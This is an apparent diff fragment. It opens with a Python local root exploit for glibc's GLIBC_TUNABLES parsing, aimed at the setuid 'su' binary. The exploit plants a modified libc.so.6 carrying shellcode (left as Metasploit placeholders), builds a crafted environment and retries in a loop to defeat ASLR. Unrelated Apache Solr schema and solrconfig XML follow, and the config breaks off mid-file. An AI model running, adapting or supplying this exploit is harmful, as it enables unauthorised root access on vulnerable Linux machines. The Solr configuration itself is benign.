SYMBOL_STRUCTURE_KEYS_32_BIT = "name value size info other shndx"
|
||||
SYMBOL_STRUCTURE_FORMAT_32_BIT = "<LLLBBH"
|
||||
ELF_HEADER_KEYS = f"type machine version entry phoff shoff flags ehsize phtentsize phnum {ENTRY_SIZE} {NUMBER_OF_ENTRIES} {STRING_TABLE_INDEX}"
|
||||
ELF_ENTRY_FORMAT_64_BIT = "<HHLQQQLHHHHHH"
|
||||
ELF_ENTRY_FORMAT_32_BIT = "<HHLLLLLHHHHHH"
|
||||
|
||||
unhex = lambda v: binascii.unhexlify(v.replace(" ", ""))
|
||||
|
||||
TARGETS = {
|
||||
"i686": {
|
||||
"shellcode": unhex(
|
||||
"METASPLOIT_SHELL_CODE"
|
||||
),
|
||||
"exitcode": unhex("6a665b6a0158cd80"),
|
||||
"stack_top": 0xC0000000,
|
||||
"stack_aslr_bits": 23,
|
||||
},
|
||||
"x86_64": {
|
||||
"shellcode": unhex(
|
||||
"METASPLOIT_SHELL_CODE"
|
||||
),
|
||||
"exitcode": unhex("6a665f6a3c580f05"),
|
||||
"stack_top": 0x800000000000,
|
||||
"stack_aslr_bits": 34,
|
||||
},
|
||||
"aarch64": {
|
||||
"shellcode": unhex(
|
||||
"METASPLOIT_SHELL_CODE"
|
||||
),
|
||||
"exitcode": unhex("c00c80d2a80b80d2010000d4"),
|
||||
"stack_top": 0x1000000000000,
|
||||
"stack_aslr_bits": 30,
|
||||
},
|
||||
}
|
||||
|
||||
# Magic offsets for build IDs can be found for versions of glibc by disabling ASLR and using the original PoC: https://haxx.in/files/gnu-acme.py
|
||||
BUILD_IDS = METASPLOIT_BUILD_IDS
|
||||
|
||||
libc = cdll.LoadLibrary("libc.so.6")
|
||||
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
|
||||
resource.setrlimit(
|
||||
resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY)
|
||||
)
|
||||
|
||||
|
||||
def find_path_before_null_character(blob_data, start_offset):
|
||||
current_position = start_offset
|
||||
while current_position > 0:
|
||||
current_byte = blob_data[current_position]
|
||||
next_byte = blob_data[current_position + 1] if current_position + 1 < len(blob_data) else None
|
||||
|
||||
if current_byte != 0 and current_byte != 0x2F and next_byte == 0:
|
||||
path_byte = bytes([current_byte])
|
||||
offset_from_start = current_position - start_offset
|
||||
return {"path": path_byte, "offset": offset_from_start}
|
||||
|
||||
current_position -= 1
|
||||
return None
|
||||
|
||||
|
||||
def parse_structured_data(structure_format, structure_keys, structure_data):
|
||||
unpacked_data = struct.unpack(structure_format, structure_data)
|
||||
parsed_structure = dict(zip(structure_keys.split(" "), unpacked_data))
|
||||
return parsed_structure
|
||||
|
||||
|
||||
def fetch_c_library_path():
|
||||
class LoadedLibrary(Structure):
|
||||
_fields_ = [("l_addr", c_void_p), ("l_name", c_char_p)]
|
||||
|
||||
libc_library = CDLL(find_library("c"))
|
||||
dl_library = CDLL(find_library("dl"))
|
||||
|
||||
dl_info_function = dl_library.dlinfo
|
||||
dl_info_function.argtypes = c_void_p, c_int, c_void_p
|
||||
dl_info_function.restype = c_int
|
||||
|
||||
link_map_ptr = c_void_p()
|
||||
dl_info_function(libc_library._handle, 2, byref(link_map_ptr))
|
||||
|
||||
return cast(link_map_ptr, POINTER(LoadedLibrary)).contents.l_name
|
||||
|
||||
|
||||
def execute_process(executable_path, arguments_list, environment_variables):
|
||||
libc.execve(executable_path, arguments_list, environment_variables)
|
||||
|
||||
|
||||
def execute_and_monitor(executable, arguments, environment):
|
||||
argument_pointers = (c_char_p * len(arguments))(*arguments)
|
||||
environment_pointers = (c_char_p * len(environment))(*environment)
|
||||
|
||||
child_pid = os.fork()
|
||||
if not child_pid:
|
||||
execute_process(executable, argument_pointers, environment_pointers)
|
||||
exit(0)
|
||||
|
||||
start_time = time.time()
|
||||
while True:
|
||||
try:
|
||||
pid, status = os.waitpid(child_pid, os.WNOHANG)
|
||||
if pid == child_pid:
|
||||
if os.WIFEXITED(status):
|
||||
return os.WEXITSTATUS(status) & 0xFF7F
|
||||
else:
|
||||
return 0
|
||||
except:
|
||||
pass
|
||||
current_time = time.time()
|
||||
if current_time - start_time >= 1.5:
|
||||
os.waitpid(child_pid, 0)
|
||||
return "Success"
|
||||
|
||||
|
||||
class DelayedElfParser:
|
||||
def __init__(self, filename):
|
||||
self.data = open(filename, "rb").read()
|
||||
self.architecture = 64 if self.data[4] == 2 else 32
|
||||
|
||||
elf_header_size = 0x30 if self.architecture == 64 else 0x24
|
||||
|
||||
self.header = parse_structured_data(
|
||||
ELF_ENTRY_FORMAT_64_BIT if self.architecture == 64 else ELF_ENTRY_FORMAT_32_BIT,
|
||||
ELF_HEADER_KEYS,
|
||||
self.data[0x10: 0x10 + elf_header_size],
|
||||
)
|
||||
section_header_table_index = self.extract_section_header(self.header[STRING_TABLE_INDEX])
|
||||
self.section_header_names = self.data[section_header_table_index["offset"] : section_header_table_index["offset"] + section_header_table_index["size"]]
|
||||
|
||||
def extract_section_header(self, index):
|
||||
header_offset = self.header["shoff"] + (index * self.header[ENTRY_SIZE])
|
||||
entry_format = HEADER_ENTRY_FORMAT_64_BIT if self.architecture == 64 else HEADER_ENTRY_FORMAT_32_BIT
|
||||
|
||||
return parse_structured_data(entry_format, ENTRY_KEYS, self.data[header_offset : header_offset + self.header[ENTRY_SIZE]])
|
||||
|
||||
def extract_section_header_by_name(self, section_name):
|
||||
encoded_name = section_name.encode()
|
||||
for section_index in range(self.header[NUMBER_OF_ENTRIES]):
|
||||
section_header = self.extract_section_header(section_index)
|
||||
section_name_data = self.section_header_names[section_header["name"]:].split(b"\x00")[0]
|
||||
if section_name_data == encoded_name:
|
||||
return section_header
|
||||
return None
|
||||
|
||||
def extract_section_by_name(self, section_name):
|
||||
section_header = self.extract_section_header_by_name(section_name)
|
||||
if section_header:
|
||||
start_offset = section_header["offset"]
|
||||
end_offset = start_offset + section_header["size"]
|
||||
return self.data[start_offset:end_offset]
|
||||
return None
|
||||
|
||||
def extract_symbol_value(self, symbol_name):
|
||||
encoded_name = symbol_name.encode()
|
||||
dynamic_symbol = self.extract_section_by_name(DYNAMIC_SYMBOL)
|
||||
dynamic_string = self.extract_section_by_name(DYNAMIC_STRING)
|
||||
symbol_entry_size = 24 if self.architecture == 64 else 16
|
||||
|
||||
for entry_index in range(len(dynamic_symbol) // symbol_entry_size):
|
||||
entry_start = entry_index * symbol_entry_size
|
||||
|
||||
if self.architecture == 64:
|
||||
symbol_entry = parse_structured_data(
|
||||
SYMBOL_STRUCTURE_FORMAT_64_BIT,
|
||||
SYMBOL_STRUCTURE_KEYS_64_BIT,
|
||||
dynamic_symbol[entry_start: entry_start + symbol_entry_size],
|
||||
)
|
||||
else:
|
||||
symbol_entry = parse_structured_data(
|
||||
SYMBOL_STRUCTURE_FORMAT_32_BIT,
|
||||
SYMBOL_STRUCTURE_KEYS_32_BIT,
|
||||
dynamic_symbol[entry_start: entry_start + symbol_entry_size],
|
||||
)
|
||||
|
||||
entry_name = dynamic_string[symbol_entry["name"]:].split(b"\x00")[0]
|
||||
if entry_name == encoded_name:
|
||||
return symbol_entry["value"]
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def create_environment(adjustment, address, offset, bits=64):
|
||||
if bits == 64:
|
||||
environment = [
|
||||
TUNABLES_MISCONFIG + b"P" * adjustment,
|
||||
TUNABLES_MISCONFIG + b"X" * 8,
|
||||
TUNABLES_MISCONFIG + b"X" * 7,
|
||||
b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"Y" * 24,
|
||||
]
|
||||
|
||||
padding = 172
|
||||
fill = 47
|
||||
else:
|
||||
environment = [
|
||||
TUNABLES_MISCONFIG + b"P" * adjustment,
|
||||
TUNABLES_MISCONFIG + b"X" * 7,
|
||||
b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"X" * 14,
|
||||
]
|
||||
|
||||
padding = 87
|
||||
fill = 47 * 2
|
||||
|
||||
for j in range(padding):
|
||||
environment.append(b"")
|
||||
|
||||
if bits == 64:
|
||||
environment.append(struct.pack("<Q", address))
|
||||
environment.append(b"")
|
||||
else:
|
||||
environment.append(struct.pack("<L", address))
|
||||
|
||||
for _ in range(384):
|
||||
environment.append(b"")
|
||||
|
||||
for _ in range(fill):
|
||||
if bits == 64:
|
||||
environment.append(
|
||||
struct.pack("<Q", offset & 0xFFFFFFFFFFFFFFFF) * 16382 + b"\xaa" * 7
|
||||
)
|
||||
else:
|
||||
environment.append(
|
||||
struct.pack("<L", offset & 0xFFFFFFFF) * 16382 + b"\xaa" * 7
|
||||
)
|
||||
|
||||
environment.append(None)
|
||||
return environment
|
||||
|
||||
|
||||
def error_and_exit(error_msg):
|
||||
print("Error: %s" % error_msg)
|
||||
exit(-1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
architecture = os.uname().machine
|
||||
|
||||
if architecture not in TARGETS.keys():
|
||||
error_and_exit("This target's architecture '%s' is not supported by this exploit" % architecture)
|
||||
|
||||
c_library_path = fetch_c_library_path()
|
||||
su_binary_path = which("su")
|
||||
|
||||
memory_alignment = ((0x100 - (len(su_binary_path) + 1 + 8)) & 7) + 8
|
||||
su_binary_elf = DelayedElfParser(su_binary_path)
|
||||
dynamic_linker_path = su_binary_elf.extract_section_by_name(".interp").strip(b"\x00").decode('utf-8')
|
||||
dynamic_linker_elf = DelayedElfParser(dynamic_linker_path)
|
||||
dynamic_linker_build_id = binascii.hexlify(
|
||||
dynamic_linker_elf.extract_section_by_name(GNU_BUILD_ID)[-20:]).decode()
|
||||
|
||||
if dynamic_linker_build_id not in BUILD_IDS.keys():
|
||||
error_and_exit("The build ID found is not exploitable")
|
||||
|
||||
libc_elf = DelayedElfParser(c_library_path)
|
||||
libc_start_main = libc_elf.extract_symbol_value(LIBC_START_MAIN)
|
||||
|
||||
if libc_start_main == None:
|
||||
error_and_exit("The symbol in the libc ELF '__libc_start_main' could not be resolved.")
|
||||
|
||||
su_binary_offset = su_binary_elf.extract_section_header_by_name(".dynstr")["offset"]
|
||||
potential_path = find_path_before_null_character(su_binary_elf.data, su_binary_offset)
|
||||
|
||||
if potential_path is None:
|
||||
error_and_exit("The potential path in the su_binary could not be found.")
|
||||
|
||||
if not os.path.exists(potential_path["path"]):
|
||||
os.mkdir(potential_path["path"])
|
||||
|
||||
with open(potential_path["path"] + b"/libc.so.6", "wb") as file_handle:
|
||||
file_handle.write(libc_elf.data[0:libc_start_main])
|
||||
file_handle.write(TARGETS[architecture]["shellcode"])
|
||||
file_handle.write(libc_elf.data[libc_start_main + len(TARGETS[architecture]["shellcode"]):])
|
||||
|
||||
stack_address = TARGETS[architecture]["stack_top"] - (1 << (TARGETS[architecture]["stack_aslr_bits"]))
|
||||
|
||||
stack_address += memory_alignment
|
||||
|
||||
for i in range(6 if su_binary_elf.architecture == 64 else 4):
|
||||
if (stack_address >> (i * 8)) & 0xFF == 0:
|
||||
stack_address |= 0x10 << (i * 8)
|
||||
|
||||
environment = create_environment(BUILD_IDS[dynamic_linker_build_id], stack_address, potential_path["offset"],
|
||||
su_binary_elf.architecture)
|
||||
count = 1
|
||||
argv = [b"su", b"--help", None]
|
||||
while True:
|
||||
if execute_and_monitor(su_binary_path.encode(), argv, environment) == "Success":
|
||||
exit(0)
|
||||
count += 1
|
||||
@@ -0,0 +1,244 @@
|
||||
<?xml version="1.0" encoding="UTF-8" ?>
|
||||
<schema name="default-config" version="1.6">
|
||||
|
||||
<field name="id" type="string" indexed="true" stored="true" required="true" multiValued="false" />
|
||||
<field name="_version_" type="plong" indexed="false" stored="false"/>
|
||||
<field name="_root_" type="string" indexed="true" stored="false" docValues="false" />
|
||||
<field name="_nest_path_" type="_nest_path_" /><fieldType name="_nest_path_" class="solr.NestPathField" />
|
||||
<field name="_text_" type="text_general" indexed="true" stored="false" multiValued="true"/>
|
||||
<dynamicField name="*_i" type="pint" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_is" type="pints" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_s" type="string" indexed="true" stored="true" />
|
||||
<dynamicField name="*_ss" type="strings" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_l" type="plong" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_ls" type="plongs" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_t" type="text_general" indexed="true" stored="true" multiValued="false"/>
|
||||
<dynamicField name="*_txt" type="text_general" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_b" type="boolean" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_bs" type="booleans" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_f" type="pfloat" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_fs" type="pfloats" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_d" type="pdouble" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_ds" type="pdoubles" indexed="true" stored="true"/>
|
||||
<dynamicField name="random_*" type="random"/>
|
||||
<dynamicField name="ignored_*" type="ignored"/>
|
||||
<dynamicField name="*_str" type="strings" stored="false" docValues="true" indexed="false" useDocValuesAsStored="false"/>
|
||||
<dynamicField name="*_dt" type="pdate" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_dts" type="pdate" indexed="true" stored="true" multiValued="true"/>
|
||||
<dynamicField name="*_p" type="location" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_srpt" type="location_rpt" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_dpf" type="delimited_payloads_float" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_dpi" type="delimited_payloads_int" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_dps" type="delimited_payloads_string" indexed="true" stored="true"/>
|
||||
<dynamicField name="attr_*" type="text_general" indexed="true" stored="true" multiValued="true"/>
|
||||
<uniqueKey>id</uniqueKey>
|
||||
<fieldType name="string" class="solr.StrField" sortMissingLast="true" docValues="true" />
|
||||
<fieldType name="strings" class="solr.StrField" sortMissingLast="true" multiValued="true" docValues="true" />
|
||||
<fieldType name="boolean" class="solr.BoolField" sortMissingLast="true"/>
|
||||
<fieldType name="booleans" class="solr.BoolField" sortMissingLast="true" multiValued="true"/>
|
||||
<fieldType name="pint" class="solr.IntPointField" docValues="true"/>
|
||||
<fieldType name="pfloat" class="solr.FloatPointField" docValues="true"/>
|
||||
<fieldType name="plong" class="solr.LongPointField" docValues="true"/>
|
||||
<fieldType name="pdouble" class="solr.DoublePointField" docValues="true"/>
|
||||
<fieldType name="pints" class="solr.IntPointField" docValues="true" multiValued="true"/>
|
||||
<fieldType name="pfloats" class="solr.FloatPointField" docValues="true" multiValued="true"/>
|
||||
<fieldType name="plongs" class="solr.LongPointField" docValues="true" multiValued="true"/>
|
||||
<fieldType name="pdoubles" class="solr.DoublePointField" docValues="true" multiValued="true"/>
|
||||
<fieldType name="random" class="solr.RandomSortField" indexed="true"/>
|
||||
<fieldType name="ignored" stored="false" indexed="false" multiValued="true" class="solr.StrField" />
|
||||
<fieldType name="pdate" class="solr.DatePointField" docValues="true"/>
|
||||
<fieldType name="pdates" class="solr.DatePointField" docValues="true" multiValued="true"/>
|
||||
<fieldType name="binary" class="solr.BinaryField"/>
|
||||
<fieldType name="rank" class="solr.RankField"/>
|
||||
<dynamicField name="*_ws" type="text_ws" indexed="true" stored="true"/>
|
||||
<fieldType name="text_ws" class="solr.TextField" positionIncrementGap="100">
|
||||
<analyzer>
|
||||
<tokenizer name="whitespace"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<fieldType name="text_general" class="solr.TextField" positionIncrementGap="100" multiValued="true">
|
||||
<analyzer type="index">
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="stop" ignoreCase="true" words="stopwords.txt" />
|
||||
<filter name="lowercase"/>
|
||||
</analyzer>
|
||||
<analyzer type="query">
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="stop" ignoreCase="true" words="stopwords.txt" />
|
||||
<filter name="synonymGraph" synonyms="synonyms.txt" ignoreCase="true" expand="true"/>
|
||||
<filter name="lowercase"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_t_sort" type="text_gen_sort" indexed="true" stored="true" multiValued="false"/>
|
||||
<dynamicField name="*_txt_sort" type="text_gen_sort" indexed="true" stored="true"/>
|
||||
<fieldType name="text_gen_sort" class="solr.SortableTextField" positionIncrementGap="100" multiValued="true">
|
||||
<analyzer type="index">
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="stop" ignoreCase="true" words="stopwords.txt" />
|
||||
<filter name="lowercase"/>
|
||||
</analyzer>
|
||||
<analyzer type="query">
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="stop" ignoreCase="true" words="stopwords.txt" />
|
||||
<filter name="synonymGraph" synonyms="synonyms.txt" ignoreCase="true" expand="true"/>
|
||||
<filter name="lowercase"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_txt_en" type="text_en" indexed="true" stored="true"/>
|
||||
<fieldType name="text_en" class="solr.TextField" positionIncrementGap="100">
|
||||
<analyzer type="index">
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="stop"
|
||||
ignoreCase="true"
|
||||
words="lang/stopwords_en.txt"
|
||||
/>
|
||||
<filter name="lowercase"/>
|
||||
<filter name="englishPossessive"/>
|
||||
<filter name="keywordMarker" protected="protwords.txt"/>
|
||||
<filter name="porterStem"/>
|
||||
</analyzer>
|
||||
<analyzer type="query">
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="synonymGraph" synonyms="synonyms.txt" ignoreCase="true" expand="true"/>
|
||||
<filter name="stop"
|
||||
ignoreCase="true"
|
||||
words="lang/stopwords_en.txt"
|
||||
/>
|
||||
<filter name="lowercase"/>
|
||||
<filter name="englishPossessive"/>
|
||||
<filter name="keywordMarker" protected="protwords.txt"/>
|
||||
<filter name="porterStem"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_txt_en_split" type="text_en_splitting" indexed="true" stored="true"/>
|
||||
<fieldType name="text_en_splitting" class="solr.TextField" positionIncrementGap="100" autoGeneratePhraseQueries="true">
|
||||
<analyzer type="index">
|
||||
<tokenizer name="whitespace"/>
|
||||
<filter name="stop"
|
||||
ignoreCase="true"
|
||||
words="lang/stopwords_en.txt"
|
||||
/>
|
||||
<filter name="wordDelimiterGraph" generateWordParts="1" generateNumberParts="1" catenateWords="1" catenateNumbers="1" catenateAll="0" splitOnCaseChange="1"/>
|
||||
<filter name="lowercase"/>
|
||||
<filter name="keywordMarker" protected="protwords.txt"/>
|
||||
<filter name="porterStem"/>
|
||||
<filter name="flattenGraph" />
|
||||
</analyzer>
|
||||
<analyzer type="query">
|
||||
<tokenizer name="whitespace"/>
|
||||
<filter name="synonymGraph" synonyms="synonyms.txt" ignoreCase="true" expand="true"/>
|
||||
<filter name="stop"
|
||||
ignoreCase="true"
|
||||
words="lang/stopwords_en.txt"
|
||||
/>
|
||||
<filter name="wordDelimiterGraph" generateWordParts="1" generateNumberParts="1" catenateWords="0" catenateNumbers="0" catenateAll="0" splitOnCaseChange="1"/>
|
||||
<filter name="lowercase"/>
|
||||
<filter name="keywordMarker" protected="protwords.txt"/>
|
||||
<filter name="porterStem"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_txt_en_split_tight" type="text_en_splitting_tight" indexed="true" stored="true"/>
|
||||
<fieldType name="text_en_splitting_tight" class="solr.TextField" positionIncrementGap="100" autoGeneratePhraseQueries="true">
|
||||
<analyzer type="index">
|
||||
<tokenizer name="whitespace"/>
|
||||
<filter name="synonymGraph" synonyms="synonyms.txt" ignoreCase="true" expand="false"/>
|
||||
<filter name="stop" ignoreCase="true" words="lang/stopwords_en.txt"/>
|
||||
<filter name="wordDelimiterGraph" generateWordParts="0" generateNumberParts="0" catenateWords="1" catenateNumbers="1" catenateAll="0"/>
|
||||
<filter name="lowercase"/>
|
||||
<filter name="keywordMarker" protected="protwords.txt"/>
|
||||
<filter name="englishMinimalStem"/>
|
||||
<filter name="removeDuplicates"/>
|
||||
<filter name="flattenGraph" />
|
||||
</analyzer>
|
||||
<analyzer type="query">
|
||||
<tokenizer name="whitespace"/>
|
||||
<filter name="synonymGraph" synonyms="synonyms.txt" ignoreCase="true" expand="false"/>
|
||||
<filter name="stop" ignoreCase="true" words="lang/stopwords_en.txt"/>
|
||||
<filter name="wordDelimiterGraph" generateWordParts="0" generateNumberParts="0" catenateWords="1" catenateNumbers="1" catenateAll="0"/>
|
||||
<filter name="lowercase"/>
|
||||
<filter name="keywordMarker" protected="protwords.txt"/>
|
||||
<filter name="englishMinimalStem"/>
|
||||
<filter name="removeDuplicates"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_txt_rev" type="text_general_rev" indexed="true" stored="true"/>
|
||||
<fieldType name="text_general_rev" class="solr.TextField" positionIncrementGap="100">
|
||||
<analyzer type="index">
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="stop" ignoreCase="true" words="stopwords.txt" />
|
||||
<filter name="lowercase"/>
|
||||
<filter name="reversedWildcard" withOriginal="true"
|
||||
maxPosAsterisk="3" maxPosQuestion="2" maxFractionAsterisk="0.33"/>
|
||||
</analyzer>
|
||||
<analyzer type="query">
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="synonymGraph" synonyms="synonyms.txt" ignoreCase="true" expand="true"/>
|
||||
<filter name="stop" ignoreCase="true" words="stopwords.txt" />
|
||||
<filter name="lowercase"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_phon_en" type="phonetic_en" indexed="true" stored="true"/>
|
||||
<fieldType name="phonetic_en" stored="false" indexed="true" class="solr.TextField" >
|
||||
<analyzer>
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="doubleMetaphone" inject="false"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_s_lower" type="lowercase" indexed="true" stored="true"/>
|
||||
<fieldType name="lowercase" class="solr.TextField" positionIncrementGap="100">
|
||||
<analyzer>
|
||||
<tokenizer name="keyword"/>
|
||||
<filter name="lowercase" />
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_descendent_path" type="descendent_path" indexed="true" stored="true"/>
|
||||
<fieldType name="descendent_path" class="solr.TextField">
|
||||
<analyzer type="index">
|
||||
<tokenizer name="pathHierarchy" delimiter="/" />
|
||||
</analyzer>
|
||||
<analyzer type="query">
|
||||
<tokenizer name="keyword" />
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_ancestor_path" type="ancestor_path" indexed="true" stored="true"/>
|
||||
<fieldType name="ancestor_path" class="solr.TextField">
|
||||
<analyzer type="index">
|
||||
<tokenizer name="keyword" />
|
||||
</analyzer>
|
||||
<analyzer type="query">
|
||||
<tokenizer name="pathHierarchy" delimiter="/" />
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_point" type="point" indexed="true" stored="true"/>
|
||||
<fieldType name="point" class="solr.PointType" dimension="2" subFieldSuffix="_d"/>
|
||||
<fieldType name="location" class="solr.LatLonPointSpatialField" docValues="true"/>
|
||||
<fieldType name="location_rpt" class="solr.SpatialRecursivePrefixTreeFieldType"
|
||||
geo="true" distErrPct="0.025" maxDistErr="0.001" distanceUnits="kilometers" />
|
||||
<fieldType name="delimited_payloads_float" stored="false" indexed="true" class="solr.TextField">
|
||||
<analyzer>
|
||||
<tokenizer name="whitespace"/>
|
||||
<filter name="delimitedPayload" encoder="float"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<fieldType name="delimited_payloads_int" stored="false" indexed="true" class="solr.TextField">
|
||||
<analyzer>
|
||||
<tokenizer name="whitespace"/>
|
||||
<filter name="delimitedPayload" encoder="integer"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<fieldType name="delimited_payloads_string" stored="false" indexed="true" class="solr.TextField">
|
||||
<analyzer>
|
||||
<tokenizer name="whitespace"/>
|
||||
<filter name="delimitedPayload" encoder="identity"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_txt_cjk" type="text_cjk" indexed="true" stored="true"/>
|
||||
<fieldType name="text_cjk" class="solr.TextField" positionIncrementGap="100">
|
||||
<analyzer>
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="CJKWidth"/>
|
||||
<filter name="lowercase"/>
|
||||
<filter name="CJKBigram"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
</schema>
|
||||
@@ -0,0 +1,262 @@
|
||||
<?xml version="1.0" encoding="UTF-8" ?>
|
||||
<config>
|
||||
<luceneMatchVersion>9.0</luceneMatchVersion>
|
||||
<dataDir>${solr.data.dir:}</dataDir>
|
||||
<directoryFactory name="DirectoryFactory"
|
||||
class="${solr.directoryFactory:solr.NRTCachingDirectoryFactory}"/>
|
||||
<codecFactory class="solr.SchemaCodecFactory"/>
|
||||
<indexConfig>
|
||||
<lockType>${solr.lock.type:native}</lockType>
|
||||
</indexConfig>
|
||||
<updateHandler class="solr.DirectUpdateHandler2">
|
||||
|
||||
<updateLog>
|
||||
<str name="dir">${solr.ulog.dir:}</str>
|
||||
<int name="numVersionBuckets">${solr.ulog.numVersionBuckets:65536}</int>
|
||||
</updateLog>
|
||||
|
||||
<autoCommit>
|
||||
<maxTime>${solr.autoCommit.maxTime:15000}</maxTime>
|
||||
<openSearcher>false</openSearcher>
|
||||
</autoCommit>
|
||||
|
||||
<autoSoftCommit>
|
||||
<maxTime>${solr.autoSoftCommit.maxTime:-1}</maxTime>
|
||||
</autoSoftCommit>
|
||||
|
||||
</updateHandler>
|
||||
|
||||
<query>
|
||||
|
||||
<maxBooleanClauses>${solr.max.booleanClauses:1024}</maxBooleanClauses>
|
||||
|
||||
<filterCache size="512"
|
||||
initialSize="512"
|
||||
autowarmCount="0"/>
|
||||
<queryResultCache size="512"
|
||||
initialSize="512"
|
||||
autowarmCount="0"/>
|
||||
|
||||
<documentCache size="512"
|
||||
initialSize="512"
|
||||
autowarmCount="0"/>
|
||||
|
||||
<cache name="perSegFilter"
|
||||
class="solr.CaffeineCache"
|
||||
size="10"
|
||||
initialSize="0"
|
||||
autowarmCount="10"
|
||||
regenerator="solr.NoOpRegenerator" />
|
||||
|
||||
<enableLazyFieldLoading>true</enableLazyFieldLoading>
|
||||
|
||||
<queryResultWindowSize>20</queryResultWindowSize>
|
||||
|
||||
<queryResultMaxDocsCached>200</queryResultMaxDocsCached>
|
||||
|
||||
<listener event="newSearcher" class="solr.QuerySenderListener">
|
||||
<arr name="queries">
|
||||
</arr>
|
||||
</listener>
|
||||
<listener event="firstSearcher" class="solr.QuerySenderListener">
|
||||
<arr name="queries">
|
||||
</arr>
|
||||
</listener>
|
||||
|
||||
<useColdSearcher>false</useColdSearcher>
|
||||
|
||||
</query>
|
||||
|
||||
<circuitBreakers enabled="true">
|
||||
|
||||
</circuitBreakers>
|
||||
|
||||
<requestDispatcher>
|
||||
|
||||
<httpCaching never304="true" />
|
||||
</requestDispatcher>
|
||||
|
||||
<requestHandler name="/select" class="solr.SearchHandler">
|
||||
<lst name="defaults">
|
||||
<str name="echoParams">explicit</str>
|
||||
<int name="rows">10</int>
|
||||
</lst>
|
||||
</requestHandler>
|
||||
<requestHandler name="/query" class="solr.SearchHandler">
|
||||
<lst name="defaults">
|
||||
<str name="echoParams">explicit</str>
|
||||
<str name="wt">json</str>
|
||||
<str name="indent">true</str>
|
||||
</lst>
|
||||
</requestHandler>
|
||||
<initParams path="/update/**,/query,/select,/spell">
|
||||
<lst name="defaults">
|
||||
<str name="df">_text_</str>
|
||||
</lst>
|
||||
</initParams>
|
||||
<searchComponent name="spellcheck" class="solr.SpellCheckComponent">
|
||||
<str name="queryAnalyzerFieldType">text_general</str>
|
||||
<lst name="spellchecker">
|
||||
<str name="name">default</str>
|
||||
<str name="field">_text_</str>
|
||||
<str name="classname">solr.DirectSolrSpellChecker</str>
|
||||
<str name="distanceMeasure">internal</str>
|
||||
<float name="accuracy">0.5</float>
|
||||
<int name="maxEdits">2</int>
|
||||
<int name="minPrefix">1</int>
|
||||
<int name="maxInspections">5</int>
|
||||
<int name="minQueryLength">4</int>
|
||||
<float name="maxQueryFrequency">0.01</float>
|
||||
</lst>
|
||||
</searchComponent>
|
||||
<requestHandler name="/spell" class="solr.SearchHandler" startup="lazy">
|
||||
<lst name="defaults">
|
||||
<str name="spellcheck.dictionary">default</str>
|
||||
<str name="spellcheck">on</str>
|
||||
<str name="spellcheck.extendedResults">true</str>
|
||||
<str name="spellcheck.count">10</str>
|
||||
<str name="spellcheck.alternativeTermCount">5</str>
|
||||
<str name="spellcheck.maxResultsForSuggest">5</str>
|
||||
<str name="spellcheck.collate">true</str>
|
||||
<str name="spellcheck.collateExtendedResults">true</str>
|
||||
<str name="spellcheck.maxCollationTries">10</str>
|
||||
<str name="spellcheck.maxCollations">5</str>
|
||||
</lst>
|
||||
<arr name="last-components">
|
||||
<str>spellcheck</str>
|
||||
</arr>
|
||||
</requestHandler>
|
||||
<searchComponent class="solr.HighlightComponent" name="highlight">
|
||||
<highlighting>
|
||||
<fragmenter name="gap"
|
||||
default="true"
|
||||
class="solr.highlight.GapFragmenter">
|
||||
<lst name="defaults">
|
||||
<int name="hl.fragsize">100</int>
|
||||
</lst>
|
||||
</fragmenter>
|
||||
|
||||
<fragmenter name="regex"
|
||||
class="solr.highlight.RegexFragmenter">
|
||||
<lst name="defaults">
|
||||
<int name="hl.fragsize">70</int>
|
||||
<float name="hl.regex.slop">0.5</float>
|
||||
<str name="hl.regex.pattern">[-\w ,/\n\"']{20,200}</str>
|
||||
</lst>
|
||||
</fragmenter>
|
||||
